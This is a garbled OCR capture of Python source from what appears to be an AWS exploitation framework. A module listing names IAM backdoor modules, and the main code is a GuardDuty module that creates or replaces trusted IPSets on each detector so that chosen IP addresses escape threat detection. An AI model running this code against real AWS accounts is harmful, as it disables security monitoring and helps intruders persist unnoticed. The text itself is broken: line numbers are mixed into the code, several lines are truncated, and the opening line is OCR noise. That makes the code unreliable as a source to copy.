

```
    guardduty_whitelist_ip
    __init__.py
    main.py
    iam_backdoor_assume_role
    iam_backdoor_users_keys
    iam backdoor users password
```

```
printic (\lambda) betector \lambdas. Frommat(region, detector[ id ]))
 J /
 58
                         data['detectors'].append(detector)
 59
                         try:
                             response = client.create_ip_set(
 60
                                 Activate=True,
 61
                                 DetectorId=detector['Id'],
 62
 63
                                 Format='TXT',
                                 Location=args.path,
 64
 65
                                 Name=''.join(random.choice(string.ascii_lowercase + string.digi
 66
                             )
 67
                             ip_set_id = response['IpSetId']
                             data['ip_sets'].append(ip_set_id)
 68
                                        Created IPSet: {}'.format(ip_set_id))
 69
 70
                         except ClientError as error:
 71
                             {	t if} 'an attempt to create resources beyond the current AWS account {	t 1}
 72
                                 print('
                                            Error: Existing IPSet found')
 73
                                            WARNING: Replacing an existing IPSet could have unin
 74
                                 remove = input('Try to replace the IPSet? (y/n) ')
 75
                                 if remove.strip() == 'y':
                                     try:
 76
 77
                                         response = client.list_ip_sets(
 78
                                             DetectorId=detector['Id']
 79
                                         # There is a max of one IPSet per detector
 80
                                         existing_ip_set_id = response['IpSetIds'][0]
 81
 82
 83
                                         client.update_ip_set(
                                             Activate=True,
 84
                                             DetectorId=detector['Id'],
 85
                                             Location=args.path,
 86
 87
                                             IpSetId=existing_ip_set_id
                                         )
 88
 89
 90
                                         print('
                                                       Replaced IPSet {}...\n'.format(existing_ip
 91
                                         data['ip_sets'].append(existing_ip_set_id)
 92
                                     except ClientError as error:
 93
                                         print('
                                                       Error: {}'.format(str(error)))
 94
                             else:
 95
                                              Error: {}'.format(str(error)))
                                 print('
96
 97
            return data
98
99
        def summary(data, pacu_main):
100
            return '{} IPSet(s) created for {} GuardDuty Detector(s).'.format(len(data['ip_sets
101
```